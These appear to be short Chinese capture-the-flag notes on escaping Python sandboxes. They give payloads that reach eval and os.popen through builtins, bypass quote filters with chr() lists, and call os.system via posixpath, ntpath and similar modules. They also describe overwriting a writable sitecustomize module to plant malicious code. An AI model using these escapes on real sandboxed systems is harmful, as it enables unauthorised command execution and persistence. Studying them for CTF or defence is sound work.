Python沙盒逃逸
查看内置可使用的函数
1
| print(list(dict(vars()).keys()))
|
获取builtins模块包含的内容
builtins模块中仍包含builtins模块
1 2
| import builtins print(builtins.globals())
|
1
| builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval')("__import__('os').popen('ls').read()")
|
绕过:可根据ssti绕过方式
引号
1
| str().join(chr(x) for x in [0x5f, 0x5f, 0x63, 0x6c, 0x61, 0x73, 0x73, 0x5f, 0x5f])
|
os
1 2 3 4 5 6 7 8
| sys.modules['os']='no'
有os属性的模块: 1.posixpath:Unix路径处理,posixpath.os 2.ntpath:Windows路径处理,ntpath.os 3.genericpath:通用路径处理,genericpath.os 4.shutil:shell工具集,osz,shutil.os 使用:globals()['sys'].modules['posixpath'].os.system('/read_flag')
|
sitepackages逃逸
每次启动 Python 解释器时,Python 都会尝试去 site-packages 目录下自动导入 sitecustomize 模块(如果存在的话)
如果sitecustomize模块有可写权限,我们就可以覆盖成我们的恶意代码
site.getsitepackages()[0] 为site-packages路径